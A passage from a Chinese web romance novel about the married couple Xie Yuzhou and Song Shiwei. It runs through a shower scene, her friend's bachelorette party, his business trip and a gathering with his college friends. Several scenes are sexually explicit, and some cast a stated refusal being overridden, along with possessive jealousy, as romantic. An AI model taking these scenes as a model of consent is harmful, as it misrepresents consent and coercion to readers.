谢屿舟的深邃黑眸直勾勾盯着她的眼睛,黑夜里穿行的猎豹遇到完美猎物的眼神。 白炽灯光源被男人宽大的身形遮去大半,薄唇轻启,“时时,我帮你脱,还是自己来?” 宋时微抱紧双臂,环在胸前,“我拒绝。” 谢屿舟慢条斯理又强硬地拨开她的手臂,在雪纺上衣面前蹙眉。 不是带纽扣的款式,不好直接脱掉。 镜子照出颈后的纽扣,男人俯身靠近宋时微,她脸一转,躲了过去。 谢屿舟沉稳的嗓音凑到她的耳边,“我没想亲你。” “我怕你偏了。” 隐形纽扣小巧玲珑,和宋时微的耳垂很像,薄薄的一片费了些功夫。 只是,谢屿舟不着急完全脱掉她的衬衫,松松垮垮摇摇欲坠挂在臂弯,露出清冷的肩颈。 他的眼神上下审视,不断在女人的脸上逡巡。 脸颊染上红晕,还要倔强瞪着他, “帮我脱掉。” 宋时微纹丝不动,两手环抱在胸前。 谢屿舟强势拽住她的手,带在皮带的位置,他握住她的手,解开皮带。 宋时微不情不愿抽出皮带,扔在地上,脑海里冒出一个念头,总有一天要系在他的手腕。 谢屿舟看出她的走神,淡瞥皮带,“在想什么?” “没想什么。”宋时微被带着解开衬衫纽扣和袖扣。 谢屿舟直言挑破,“想把我绑起来。” “不止。”宋时微不隐瞒,吐了一口呼吸,“还有抽你。” “原来时时喜欢这种啊。” 男人的话音刚落,手掌落在她的臀部,重重打了几下。 又上手揉。 缎面半身鱼尾裙瞬间留下褶皱,一层一层层层交叠的指印。 宋时微恶狠狠睇他,“谢屿舟,你以前不是这样的。” 看着眼前恶劣的男人,无比怀念纯情的他。 找位置找了半天,一贯稳重的人,急得掌心冒汗,找到了又不敢贸然进去,最后敌不过欲望。 结果,没坚持两分钟。 谢屿舟声音冷了下去,“以前,什么样?被你勾勾! 手指就心甘情愿和你装不熟,还是挠挠手心就上去伺候你。” 宋时微和他呛声,“你情我愿的事,而且你也很舒服,谢总什么大风大浪没见过。” 谢屿舟手掌向下探,解开裙子的隐形拉链,没有包裹的裙子落下了地上。 盖在两人的脚面之上。 男人修长的指节顺势勾掉白色碎花,“被女人睡又被抛弃是唯一一次。” 宋时微恍然大悟,“那被女人睡不是唯一一次喽。” 她也是会做阅读理解的,也是惯会气他的。 “怎么不说话了?还有谁敢睡谢总啊。” “你脸好红。”谢屿舟打量宋时微的脸,原本像剥了壳的鸡蛋,现在像他看到的水蜜桃。 浸透了粉红的颜料。 宋时微受不住他直白的眼神,虽然现在没有遮挡的必要,守得住上面,守不住下面,但下意识的本能反应让她捂住身体。 羞涩完全暴露在他的眼中。 男人打开淋浴间的龙头,温度适宜的水从蓬头洒下,混着他低冽的嗓音,宋时微瞬间被浇透。 “时时,从哪里开始洗?” 宋时微闭口不答,她的手臂被拨开,在胸前撕开了一道裂缝。 谢屿舟在手心挤上沐浴露,丝滑的液体变成绵密的泡沫,不借助沐浴球,上手揉搓。 “耳朵。” “脖子。” “锁骨。” 每一处是她身上最敏感的地方,宋时微忍无可忍催促谢屿舟,“你洗快点。” 上脚踢他的腿。 她的那点力气,在他眼里,还不如家里的猫。 “时时,省点力气。”男人在某一处停下,“好像变了。” 宋时微杏眉蹙起,“什么变了?” 谢屿舟悠悠感叹道:“一只手不够了。” 顺着他的视线,宋时微一眼他说的是什么,有些习惯犹存,有些性格发生翻天覆地的变化。 她啐了他一口,“无耻。” 谢屿舟纠正她的措辞,“这是情趣。” 他的手带着泡泡缓慢下移,“这里需要好好清洗。” 荷尔蒙在逼仄升温的浴室肆意生长,宋时微渐渐被逼至角落,身后是冰凉的瓷砖。 眼前是无法逃脱的男人气息。 谢屿舟好心地问:“是这样洗吗?” 不算熟悉的触感,粗粝的指腹裹挟泡泡,她成了画纸,男人慢条斯理不疾不徐作画。 宋时微忍耐,“不对,在外面洗就行。” 谢屿舟意味深长地说:“哦,那就是这样。” 他的手指像灵活的小鱼,随心所欲穿行,偏偏还要观察她的反应。 他故意的,就不该相信他。 手指每经过一个地方,带起一阵一阵的电流。 温度攀升的浴室,交错的呼吸声和水声融为一体,气息变得沉重且炙热。 谢屿舟嗓音喑哑,“想要吗?” 女人浓密睫毛簌簌颤动,水珠停在眼睫上方,杏眼氤氲一层薄薄! 的水雾,迷迷蒙蒙看着甚是可怜。 宋时微咬住唇瓣,狠狠吐出两个字,“不想。” 她知道,他在报复她。 因为曾经她睡过他后消失不见,现在故意钓起她的情绪和欲望,让她看得到,吃不到。 真是一个伤人八百,自损一千的法子。 谢屿舟的薄唇擦过她的嘴角,“是么,如果我偏要给呢。” 和他的眼神碰撞,须臾片刻,宋时微转变思路,蓦然弯了唇角,“那可求之不得,谢总生涩的技巧真让人怀念,现在都会玩强制了。” 几个月的时间,让她明白,顺从比反叛好用。 果然,眼前的男人脸色慢慢变沉。 宋时微添油加醋,指尖划过他的喉结,踮起脚吻了上去,“怎么,谢总是玩不起吗?” 清润的眼睛直接看过去,“还是说,谢总你是抖m,想被人捆绑。” “谢总,不要太自卑,你的硬件没得说,很多男人不如你。” 谢屿舟扣住她的手腕,压在墙上,眼神暗下去,“还有人到过这里?” 宋时微挑了下眉,“嗯哼,你猜?” 她从来不是乖巧的人,几个字一句话就能把谢屿舟气死。 谢屿舟不想知道答案,堵住她的唇,手上不停歇,“乖乖,好多水。” 四片唇瓣摩擦较劲,一时间呼吸变得急促。 宋时微得以喘息,“这是洗澡间,水肯定多,不然干洗吗?” 谢屿舟加深了这个吻,攻城掠地。 本就坦诚相见,皮肤相接,现在更是点点之火呈燎原之势。 宋时微的手掌向下,即将抓到的时候,吻戛然而止。 谢屿舟毫不留恋地放开她,扯下浴巾和干发帽,盖在她的头上,“时时,洗好了。” 他真的不进行下去,不帮她擦头发,撩拨完就走。 宋时微的心里像吃了酸涩的苦菊,眨眨眼睛,木讷地擦头发,“谢屿舟,你要不去看看吧,外公那不好意思可以去别的医院。” 用其他来转移难捱的情绪。 “时时。” 于是洗澡的后半程,谢屿舟握住她的手,进行一场艰难的受折磨的活动。 宋时微咽了咽口水,吃不到,好难受。 最后,手腕不是她的,嘴唇被亲肿,连带胸前都有印子。 原来,他不是不行。 他是故意报复她,想让她守活寡。 宋时微坐在椅子上享受谢屿舟的服务,他给她吹头发,长发在他手里飘扬。 她得不到满足,完全没有暧昧的氛围,只有无尽的怨气和失落。 曾经他根本不舍得她受委屈,哪会这样对待她。 算了,矫情什么呢,是她对不起他在先。 回到主卧,宋时微沾枕头睡着,心里的郁结带进了梦里。 梦里她一个人坐在海边,冷风肆无忌惮吹在她脸上,快被冻死了,结果谢屿舟在一旁看热闹。 天光大亮,宋时微从梦中惊醒,心口像被巨石堵住,堵得难受。! 以至于当她在衣帽间看见谢屿舟时,又踢了他。 都是男人的错,梦里都不老实,还让她受委屈。 谢屿舟摸摸她的额头,“生理期提前了吗?要不要请假?” 男人的嗓音带着早晨的怠懒,无声化解她的烦闷。 宋时微摇摇头,“没有,单纯看你不爽。” 谢屿舟选了一条领带递到宋时微手里,“那没办法了,你甩不掉我,要一直看。” 宋时微接过墨蓝色领带,绕在他的脖颈上,倏然收紧力道。 谢屿舟拆穿她的小心思,“谢太太,杀人是犯法的。” 宋时微睇他一眼,随便打了一个领带结,去卫生间洗漱。 “我先去开会,司机留下送你。” “好,我知道了。” 君姨正在打包早饭,“太太,早。” 宋时微拎起就走,在玄关换鞋想起一件事,“对了,君姨,今天会有人来家里安装猫架,在南边的小房间。” 君姨:“我知道了。” 先生早上和她说一遍,太太又说一遍,两口子都不通气。 晚上,宋时微在衣帽间和谢屿舟一起收拾出差的行李,男人私人手工定制的衣服怕皱,她跟着视频学折衬衫,小心翼翼放进行李箱。 第 23 章 找他[VIP] 第23章找他[vip] 就在这时,林以棠收起了所有人的手机,谁玩手机碰手机就喝酒。 “赶紧给家里人发信息说情况,过时不交有惩罚。” 宋时微给谢屿舟发了一条简短的消息,【谢总,拜拜,手机要被没收了,勿担心,我很好。】 谢屿舟看到微信,恨不得飞回去,再拨视频无人接听,给林以棠打电话,同样没人接。 一分钟后,收到第二条微信消息,是一张照片。 照片加载完成,男人的脸色黑了不止十个度,是宋时微今晚的穿搭。 他记得她早上穿的是蓝色衬衫加黑色半身长裙,现在换成了黑色吊带短款连衣裙,头发编成了几小股麻花辫。 是他从来没有见过、她从未尝试过的风格。 稀奇的同时,内心的占有欲指数级增长。 胸前露出的大片白皙,越看越扎眼,在家穿睡衣都是长袖长裤防着他,现在倒好。 出差的第一天,老婆反了天。 男人又收到信息,【晚安,谢总。】 晚安? 谢屿舟胸腔内的怒火寻不到出口,四处冲撞,手边没有任何东西,只能独自消受,手背青筋暴起。 他不知这一切都是林以棠的手笔。 林以棠给宋时微换好衣服,编好辫子,对着这张脸啧啧赞叹,“这不是很好看吗?身材不用太浪费。” 难怪谢屿舟会喜欢宋时微,稍微打扮一下,倾国倾城。 宋时微摸她垂下的几根辫子,“好新奇。” 穿习惯了一板一眼的通勤装扮,偶尔换个甜酷风,也不错。 她心有担忧,“你发给谢屿舟,他回来肯定找我算账。” 林以棠坏笑道:“他现在离你那么远,发给他就是要钓着他,让他心痒痒,又做不了什么。” 这样回来小别胜新婚,想想期待呢。 “糖糖,我们出去吧。” 宋时微发在群里的方案,领导的反馈意见比较一致,细节再优化一下,没有太大的问题。 今晚可以没有负担地玩。 孟新允在隔壁包厢找到谢屿舟,“谢总,周总在找您。” 除了分公司的同事,还有不少合作伙伴,公司和个人,在眼下孰轻孰重一目了然。 重要的是,他相信宋时微,不会做出太出格的事,掀不起什么风浪。 在进包厢之前,谢屿舟冷着脸给宋时微发了条信息。 【不过,提醒一下,我们结婚已经月余。】 谢屿舟将手机丢进口袋里,抬起长腿走进包厢,“抱歉,有点事需要处理,来晚了。” 男人的手指碰到酒杯,想到西服里的便签纸,旋即放下。 “抱歉,最近和太太在备孕,不能喝酒,我以茶代酒,敬各位。” 饭局的人整体年龄偏年轻,不会劝酒,想不想喝随便,说到这个结婚,不免多问几句。 “谢总什么时候结的婚?都没听说过,藏得够深的啊。”! 谢屿舟放下杯盏,“两个月左右,婚礼还在筹备。” 有人开玩笑,“那很多人要难过了,不少人想找谢总联姻呢,结果谢总一回国自己解决了。” 谢屿舟身体往后靠了靠,“一直有女朋友。” 此言一出,震惊四座。 包括孟新允,不知这个‘一直’从何而来,另一位当事人知道吗? “原来如此,那在这提前恭喜谢总,早日喜得贵子贵女。” 整场应酬谢屿舟难得滴酒未沾,手机里空空如也,看来宋时微玩得不亦乐乎。 回房间的路上,他按了按太阳穴,问孟新允,“回南城的票还有吗?” 孟新允查看购票软件,“高铁最晚一班已经发车,飞机没有直达的,要想回去只能自驾。” 他委婉提醒,“老板,明天行程比较满,一早就要去厂区。” “我知道了。” 谢屿舟深思片刻,“早点休息。” 这才对嘛,做老板不能太恋爱脑,要分清楚轻重缓急。 单身party,林以棠铆足了劲,要在结婚前给顾景渊找点事情,点了七八十来个男大学生。 小奶狗、小狼狗,不同款式、各种风格。 她有分寸,不会玩得太过火,最多给她喂喂水果、饮料啥的,没有其他十八禁的题材。 苟富贵,勿相忘,林以棠给宋时微安排了一个最纯情的大学生。 玩着玩着,她忘了审问宋时微这件事。 里面的音乐吵的宋时微脑袋疼,轰炸整个神经,她悄悄溜出去,在走廊上透气。 “姐姐,躲酒啊。” 这个男生叫曾嘉佑,当场给她看他的身份证,证明他不是骗子,单纯得有点好玩。 宋时微揉揉太阳穴,“里面太吵了,你不用喊我姐姐。” “好。”曾嘉佑没有离开,陪她一起站着。 “你是不是第一次来这种场合?” “对,今天谢谢你,姐姐。”曾嘉佑答应得好好的,称呼到了嘴边自然而然说了出来。 整晚,宋时微不用他做什么,没有为难他,他只用在旁边坐着,对他来说,是莫大的帮助。 宋时微缓好气,在走廊尽头看到了两个熟人,定睛细看,是顾景渊和傅景深。 为了不影响朋友,林以棠从包间里出来,站在走廊边,不怀好气质问:“我的单身派对,你来干什么?” 顾景渊:“来看看我老婆的单身派对办得怎么样?” 林以棠:“我还不是你老婆呢,你看到了,就是这样,你是不是忍不了,忍不了就退婚。” “玩得开心吗?”顾景渊一把把林以棠扛在肩上带走,和傅景深挥手告别。 行动之快,宋时微始料不及。 “傅总,你拦我做什么?顾总他把糖糖带走了。” 傅景深:“他们的事,你别掺和。” “可是糖糖她……” 这时,林以棠给她发了消息,【我没事,你好好玩,累了去后面的酒店休息,房卡在你包里! 。】 男人真奇怪,感情不见得有多少,占有欲先上来了。 就像谢屿舟一样,看到她和别的男人在一起,莫名阴阳怪气。 一旁的傅景深接到一个电话,“宋小姐,公司有点事,先走一步。” “拜拜。” 宋时微拧起眉头,说不出来哪里奇怪。 酒精的作用,比平时反应慢半拍。 聚会的主人离开了,顾裴司也不在,宋时微在包间里没有认识的人,她本就是不爱凑热闹的人,拎起包回家补觉。 热闹退散,一个人走在无人的小道,独享属于自己的时光。 风一吹,沉下去的酒翻腾至大脑皮层,加上困意,整个人开始晕晕沉沉。 宋时微抱紧胳膊,看了眼时间,凌晨两点。 手机屏幕显示有几个通话和几条讯息,来自同一个人。 宋时微试着给谢屿舟回电话,做好了不被接通的准备,结果秒接通,像是在特意等她一般。 她上来第一句话就是,“谢屿舟,外面星星好亮啊。” 静谧的夜晚,耳边传来蟋蟀声,四周灯光熄灭,不经意仰起头,竟看到了漫天的繁星。 谢屿舟的声音沙哑,“你喝醉了。” 是肯定的语气,他大概能想象到她现在的表情,脸颊红扑扑的,还想沿着小路走直线,却不如她的愿。 “一点点。” 宋时微强词夺理,“我很清醒,我还找到了北极星,一颗两颗。” 看来是真的醉了,什么时候会用这种撒娇的语气和他说话。 谢屿舟担心道:“还不回家?” 宋时微踢路上的石子,“正在回。” 谢屿舟问:“陈叔呢。” 宋时微:“让他下班了,你不能压榨别人,人家也是要休息的,有点人性好吗?”???x 难得和他喋喋不休,以往的吐槽夹着刺,今天教训他很可爱。 谢屿舟心里的阴霾一扫而空,话里不显,“一个人很危险,你在会所大堂等一下,我找人接你回家。” 宋时微乖乖回答,“好,我等你。” 她站在大厅里看鱼缸,鱼都睡着了,车还没到。 不知何时,傅景深去而复返,站到她身边,“宋小姐,这是准备回去?” 宋时微礼貌回复,“对,傅总,您怎么回来了?糖糖他们怎么样?” 下意识向左挪了一步,拉开两人之间的距离,说话官方疏离。 傅景深:“他们在楼上,我落了一个袖扣,天很晚了,我送你回去。” 怎么哪儿都有傅景深,谢屿舟大致听到了他们的对话,嗤笑一声,好拙劣的借口。 宋时微推拒,“不麻烦傅总了,有人来接我。” 傅景深:“谢总不是在出差吗?” 谢屿舟清了清嗓子,咳了两声,“老婆,司机到门口了,车牌号是s0526。” “好呀,老公。”宋时微被他的称呼带偏,和傅景深告别,“傅总,再见。” 宋时微一眼看到门! 前停靠的黑色迈巴赫,车牌号s0526,好熟悉的数字,她没有多想,坐进车里,靠在椅背上休息。 谢屿舟问:“宋时微,你今晚戴婚戒了吗?” “戴了,一直戴着,等下,我拍给你看。”她切换成视频聊天,对准手指,“对吧。” 的确戴了,除了大拇指,剩下四根手指上均有戒指,谁还能注意到无名指的婚戒。 谢屿舟瞥到手机屏幕,眼神倏地收紧晦暗,“被人喊‘姐姐’的感觉怎么样?” 宋时微放下前后排挡板,“还不错。” 顿了片刻,她笑着问:“谢总,难道没被人喊过‘小哥哥’吗?” “没有,要脸。” 这是内涵别人不要脸,又不明说。 会所距离臻悦府两个路口,十分钟的时间,宋时微已到家,“我去洗澡了,谢总早点休息,先挂了。” “等下。” “哦。”宋时微放下手机,找睡衣洗澡。 她的行动和思维慢了半拍,不知道他在等什么。 听筒对面传来哗啦啦的水声,谢屿舟望着白色的天花板,宋时微没注意到摄像头的位置,整晚正对胸口。 即使是黑色衣服,一览无余优美的弧度。 谢屿舟黑着脸走进淋浴间,花洒龙头向左调,温凉的水洒下。 “你怎么也洗澡?”屏幕对面的男人头发潮湿,向下滴水,腰间系着浴巾,露出结实强劲的上半身。 胸肌肌理线条分明,宽肩窄腰,胸肌小幅浮动,看得她耳根发热。 “房间空调坏了,身上出了汗。” “我要睡觉了,拜拜。”宋时微迅速盖上手机,不能被诱惑,他故意的,又不给她吃。 清晨,闹钟准时响起,宋时微挣扎爬起来,闭眼摸出手机,好烫。 猛然清醒,通话时长接近5个小时,手机没爆炸是她运气好。 【你为什么没挂?】 谢屿舟:【我忘了。】 他竟然能忘记,不合常理。 第 24 章 地位[VIP] 第24章地位[vip] 想见的人,一定要立刻去见,而见想见的人,一定要跑着去见。 宋时微加快脚步,跑到谢屿舟面前,仰起头望着他。 男人低头去看那双清冷的眼眸,眼睛明亮,丹凤眼变得柔和,眉梢温婉。 心脏蓦然塌陷,跌进她构造的温柔针陷阱中。 被它扎到,找不到挤不出,无意中碰到是锥心的痛。 不论之前怎么生气,她释放一丁点在意,过去所有的种种皆被抹平。 面对她,所有的原则会被打破。 有些当,会一直上。 谢屿舟伸出手接住她,难以置信问:“你怎么来了?” 宋时微:“我闲着没事干,来旅游。” 酒店大厅人来人往,江城公司的同事会往来于此,察觉到周围不少打量的目光,宋时微将脸埋在谢屿舟的胸膛,“好多同事。” 谢屿舟抬手将她护在怀里,掌心扣在后脑勺,和员工解释,“太太胆小,怕生。” 其他人只看到有个女人跑进谢屿舟的怀里,没看清长相,只看到了后脑勺,便被保护起来。 刚刚冷声教训他们的男人,黑眸扫过他们时噤若寒蝉,此时添了一丝温情。 无需老板吩咐,孟新允自觉招呼同行的同事去餐厅吃饭,给老板和老板娘留足空间。 两个人没有做过分的举动,只是抱着,看热闹的人褪去,谢屿舟问:“人走光了,饿了吗?我带你去餐厅吃饭。” 宋时微小心转开脑袋,短时的八卦心有,毕竟事不关己,很快散去。 “不去,麻烦。”餐厅里一定有分公司的同事,她暂时不想公开他们的关系。 谢屿舟自然接过宋时微的行李包,“你跑到我怀里的时候怎么没想到会被人看见。” 宋时微递过去,瞎编理由,“我是怕你走了,想拦住你,没刹住脚。” 她和男人并肩走路,隔着安全疏离的距离,仿佛陌生人一般。 谢屿舟捕捉到她的小动作,无声扬下唇角,欲盖弥彰、此地无银是不是晚了。 电梯门打开,里面没有人,碰巧的是,同样无人上电梯,偌大的电梯只有他们两个人。 谢屿舟的目光来回逡巡,背身一站,将宋时微一把拽进怀里,低头吻上她的嘴。 宋时微下意识抵住他的胸膛,“有监控,有人。” 谢屿舟:“我挡住了,放心,看不到你的脸。” 不顾她的抵抗,钳住她的双手,宽大的背影结结实实挡住摄像头,从上面的角度看,看不出来他们在做什么。 当事人的紧张感油然而生。 电梯抵达顶楼,吻立刻结束,谢屿舟刷卡进屋。 灯尚未来得及开,‘扑通’行李落地,男人再次吻上潋滟的红唇,接上电梯里中途断了的吻。 扣住她的手指压在墙上,一记炙热的深吻。 当看到怀里是她时,不可置信和惊喜占领高地,强忍没有亲她。 一对璧人从! 门口玄关一路缠吻,跌跌撞撞倒在了床上。 男人像一座山砸了下来,四片唇瓣纠缠不休。 手上不休不止,宋时微的小衫被推了上去,谢屿舟扒开衣服,吻上去。 宋时微的心里像有无数只蚂蚁啮咬她,挣扎蜷缩,平整的被单皱在一块,熨烫一丝不苟的衬衫留下她的指印。 “谢屿舟,痒。” 谢屿舟对她的抗议充耳不闻,疯狂打转碾磨,“谢屿舟,疼。” 忍无可忍又发出一声闷哼,反而加速了男人的力道。 “你来招我的。”谢屿舟嗓音喑哑。 明明只是一个吻,怎么好像做了其他的事。 在灯光照射下,愈发可口,室内响起靡靡艳艳的水声。 卧室的门虚虚掩着,‘咚咚咚’,从远处的玄关传来了敲门的声音。 宋时微垂眸提醒他,“有人敲门。” 从她的视线向下看过去,只能看到漆黑的发顶,以及令人面红耳赤的水声。 “应该是送午饭的,不用管。” 谢屿舟捞出手机,拨了一个号码,“放客厅。” 强调如常,听不出一丝异样。 一门之隔,门外是布菜的工作人员,门里面宋时微被迫承受男人劈天盖地的吻。 终于,在她喘不过来气,肺部氧气耗尽,即将窒息之时,谢屿舟松开了她,轻声说:“吃饭吧,我下午还要去开会。” 男人恢复斯文矜贵的正人君子模样,慢条斯理扣上不小心被她拽开的纽扣。 “好。”宋时微的手探入上衣内,寻找搭扣。 文胸碰到上方时,她直接“嘶”了一声,果然肿了,好痛。 而眼前的男人除了衬衫皱一点之外,看不出其他问题。 谢屿舟握住她的手,同她一起扣上内衣,黑眸深沉,“我解掉的,我负责给你穿。” 只是想亲她一下而已,不算太过火。 宋时微:“不用麻烦谢总。” “不算麻烦。”谢屿舟抬手整理她凌乱的头发和衣服,两个人离开了卧室。 三菜一汤摆在桌子上,‘咕噜咕噜’,宋时微的肚子响了起来。 谢屿舟点的是她喜欢的菜,只是莴笋,她没有再吃过。 每次吃,会想起他。 他和她一样,蔬菜最爱莴笋。 宋时微吃到辣椒,嘴唇倏然刺痛,他每次吻她更像是咬她、啃她,好似吸血鬼成了精。 思及此,她瞪了他一眼。 谢屿舟抬起眼眸,云淡风轻问:“菜不合胃口?” 宋时微:“还好。” 谢屿舟的筷子顿住一秒,“不知道你现在的口味,凑合吃。” 宋时微怔然,“味道还不错。” 两个人陷入沉默,七年没有参与彼此的生活,怎么可能知道对方的变化。 她从南城过来找他,明明刚刚做过亲密的事,遇到七年前的事,两个人的情绪剧烈波动,不似在大厅里的温柔。 一顿午饭在安静中结束。 ! 宋时微收拾碗筷,“你去开会吧,我下午出去随便逛逛。” 谢屿舟问她,“真是来旅游的?” “不是。”宋时微哂笑。 她深呼吸一口气,抬起头看向谢屿舟,嘴角挽了一个弧度,“来看你。” 谢屿舟做好了听到她否定的答案,结果出乎他的意料。 知道她可能是安慰他,他仍选择相信。 他摸摸她的头,“那你等我一下,我开完会带你去。” “好,我先去房间。”宋时微说。 早晨醒得太早,昨晚做了一晚上的噩梦,宋时微玩着手机靠在床头睡着。 谢屿舟开完第一个会,去卧室看宋时微,女生侧躺在床上,被子被她压在身下。 男人在柜子里找出毛毯,给她盖上。 宋时微睡眠浅,迷迷糊糊问:“会开完了吗?” 谢屿舟躺在她旁边,双臂拥住她,“还没有,中间休息,今天几点到的?” 宋时微回抱住他,试图从男人身上汲取温暖,“不到9点。” 换言之,她在楼下等了他快三个小时。 谢屿舟:“怎么不打电话给我?” 宋时微:“你上午要开会,而且我是一个成年人,心里有数。” 谢屿舟轻轻抚拍她的后背,“你再睡会,我尽快开完会。” 男人哄怀里的女人睡觉,呼吸均匀慢慢放开她。 在她的额头上落下一个吻。 下午五时,谢屿舟从外归来,室内静悄悄,“时时,起来了。” 宋时微睡得时间太久,睡得头疼,卷着被子滚到另一边,瓮声问:“去哪?” 谢屿舟:“见我大学同学,有几个同学正好在江城。” “那我不去了,你们同学聚会,我去你们不自在。”宋时微现在只想睡觉,连续两晚没有睡好。 “我们又不是真的偷情。”谢屿舟拉住宋时微的胳膊,手动唤醒她,“宋时微,这不是七年前,不是高中。” 言外之意,他不想再躲躲藏藏,现在更没必要。 宋时微挣扎爬起来,“好,等我换身衣服、化个妆,不能给谢总丢脸。” 谢屿舟:“普通聚会,不用这么麻烦。” 第一次见他身边的朋友,宋时微拿出十二分的认真,行李里只有一条白色连衣裙凑凑合合配得上谢屿舟。 妆容耗费了不少功夫,出门时,天微微变暗。 车子在楼下等候。 宋时微坐进车里,乔言心和她八卦,【听说老板在江城金屋藏娇啊,在南城不好约会,去了外地。】 【你怎么知道的?】传这么快吗? 乔言心:【我人脉广啊,老板娘直接扑到谢总怀里,那叫一个热情啊。】 宋时微疑惑,她有这么热情吗? 不就是正常走过去,喊了他的名字,仅此而已。 乔言心:【给你看视频,有一说一,很般配。】 宋时微微眯眼睛,她没眼看,忍住羞赧在指缝里点开视频,谁还配了暧昧的音乐。 ! 幸好乔言心没有太多心眼,没往她身上想,找机会和她摊牌。 谢屿舟突然出声,“在看什么?”男人上车后便微阖瞳仁,闭目养神,耳朵这么尖吗? 宋时微将视频递给他,“中午的视频,不知道谁拍的。” “拍的不错。”谢屿舟品评一句。 车子驶上高架路,最终停在一处别墅区。 能够去国外留学还和谢屿舟熟悉的人,肯定不是普通家庭。 宋时微紧张,今天她才发现,原来她害怕听见旁人问她是哪家的千金,得到不是的答案,还要感叹一句,谢屿舟对她真好。 远远听到有个男人说,“稀奇啊,老谢竟然带了女人。” 谢屿舟推门而入,男人的手搭在宋时微的腰间,系带连衣裙衬出她纤细的腰,实实搂住。 院里搭了一个烧烤摊,挂上彩灯,坐了不少人。 “我大学同学纪彭泽。”他介绍宋时微和眼前的男人认识,“我老婆宋时微。” 宋时微:“你好。” 纪彭泽越看宋时微越觉得长相熟悉,悄悄问谢屿舟,“这是你钱包里的那个女生,你大学时候的女朋友,对吧。” 谢屿舟不置可否,卷起半截袖口,专心给宋时微拿吃的。 纪彭泽跟着他小声说:“为了一个钱包,你追小偷追了三公里,除了她,你也不会和别人结婚。” 谢屿舟睨他一眼,“就你话多。” 男人和宋时微报备,“我去和他们聊聊,你想吃什么自己拿。” 纪彭泽打趣他,“老谢你这家庭地位堪忧啊。” 谢屿舟坦荡,“没有家庭地位,一切听老婆的。”???x “哎呦喂,这是要虐死我们啊。” 任斯琪在宋时微旁边坐下,“hello,我是任斯琪,是老谢和老纪的同学,和老纪更熟。” “今天总算见到谢屿舟的女朋友了,他大学的时候就是学习机器,看着清心寡欲没有七情六欲,结果无名指戴了对戒,有人搭讪就说他有女朋友,且很喜欢他的女朋友。” 第 25 章 勾引[VIP] 第25章勾引[vip] 头顶是一圈暖色的小筒灯,平添了暧昧旖旎的氛围,面前的男人带着强势不容置喙的口吻。 谢屿舟骨子里的占有欲一直没变,就像他防着陈叙白。 宋时微争辩,“我那是正常的吊带连衣裙,和你买的可不一样。” 谢屿舟云淡风轻说:“我这也是正常的睡衣。”男人故意停顿一下,凑到女人的耳边,逐字逐句,“不是情趣内衣。” 他的手臂撑在她的身体两侧,虚虚拢住,让人无法忽略的男性荷尔蒙气息。 倏然,宋时微耳根不争气地红了,她嘟囔道:“刚买没洗,不干净。” 总之一句话,她不可能穿。 谢屿舟恍然道:“酒店有干洗服务。” 宋时微伸手推开他,将他推到一边,“谢屿舟!我困了,我要睡觉。” 男人脚下踉跄,眼见要跌倒,宋时微下意识拉住他,谢屿舟反手拉住她,带进怀里,黑眸直勾勾盯着她,“如果我偏要看呢。” 宋时微回怼,“那你自己穿不就好了,我觉得一定也很好看,谢总五官端正,貌比潘安,光是想想就拭目以待呢。” 嘴角是上扬的明媚的笑容,同样是挑衅的话。 谢屿舟面无波澜松开了放在她腰上的手,“我去洗澡。” 没有再强求她,不符合他的风格。 睡裙安安静静躺在床对面的桌子上,宋时微掀开被子准备睡觉。 浴室不是玻璃墙面,只能听见‘哗哗’的水声。 只是,他怎么在浴室里那么久,平时洗澡也没这么长时间啊。 白天太累,加上晚上的酒精反应,宋时微迷迷瞪瞪阖上眼睛。 耳边传来窸窸窣窣的声音,她只当谢屿舟洗完澡上床睡觉。 突然,有双温热的手摸到她的身体,‘嘶啦’一声,连衣裙侧边的拉链被拉开,他想脱她的衣服。 他也做到了。 男人骨节分明的手指上勾着睡裙,扔在了床上,像绽放的黑色花瓣。 今天不达目的誓不罢休。 宋时微顷刻明白,刚刚他在浴室里做的事情,洗睡裙加用吹风机吹干。 躺着不顺手,脱衣服换衣服受限,宋时微被谢屿舟捞起来,按在床上。 她身上的连衣裙松松垮垮,半脱不脱,欲气十足。 此时,她是鱼肉、他是刀,硬碰硬不是他的对手。 “我自己来。” 宋时微捡起睡裙,当着谢屿舟的面,慢悠悠彻底脱掉身上的连衣裙,换上他手洗好的黑色丝质吊带睡衣。 两分钟可以换好的衣服,她花了五分多钟。 每一个动作皆被放慢。 宋时微的手向后拂一下头发,低头感叹,“是比前天的裙子好看多了,谢总眼光不错。” 眼前的女人是素颜,没有化妆,头发乱糟糟,却比化了妆抹了红唇更加勾人。 黑色衬得她皮肤更白,尤其是深v领设计,起伏不定。 ! 谢屿舟没有行动,如刚刚来回审视她,眼神在她的身上上上下下打量,“故意勾引我?” 宋时微向他怀里挪,“谢总,我怎么现在才发现你这么能忍呢。” 她的嘴唇弯了一个极深的弧度,好像画本里的妖精。 “人都是要成长的。” 谢屿舟的手背青筋凸起,面色无恙,“毕竟有很多事,忍了更长时间。” “谢总,你真不要吗?适当的疏解释放是没问题的。”宋时微的手一通乱摸,完全不顾他的死活。 就在她即将完成目标之时,谢屿舟抓住她的手腕,命令道,“睡觉。” 宋时微张开手掌,手指触碰,“谢总,你看看,这里可不是这样想的呦。” 她从来都是不按套路出牌的人,你以为她害羞,她会挑战你的极限。 谢屿舟全身的血液瞬间奔腾,喉咙干涩发痒。 “我说,睡觉。” 宋时微脱离深渊,“好,谢总晚安。” —— 翌日一早,宋时微在熟睡中,谢屿舟起床去厂区。 她不知道谢屿舟遇到了什么问题,周末同样很忙,电话不断,和孟新允商量工作事宜,和合作方沟通后续,和分公司总经理开会。 留给他们谈情说爱的时间不多。 下午谢屿舟方回,和她吃完饭就离开,“我去一趟公司。” 男人走得匆忙,宋时微来不及和他说,她下午要回去了。 周末两地往来的人多,热门区间段一票难求,宋时微点击候补车票,漫长等待中,她候补到一班车,此时距离发车时间剩余不到两个小时。 宋时微只能给谢屿舟发消息,收拾东西打车离开。 谢屿舟开完会回来,房间里没有人,所有有关宋时微的印记完全消失,连带给她买的睡裙一同消失不见。 七年前的场景瞬时回到脑海。 男人急忙拨出电话,‘嘟嘟’两声后即被接通。 “你现在在哪儿?” 腔调里掩不住的怒气,还有担心。 人潮汹涌,宋时微周边嘈杂一片,她一心二用盯着检票口,努力听清谢屿舟的话。 “我在高铁站候车,要检票了,先不和你说了。” 谢屿舟:“你为什么总是一走了之,从来不考虑别人。” 听到她要走,谢屿舟的情绪顷刻崩塌、失控。 宋时微解释道:“我发信息和你说我要回去了,你没收到吗?” 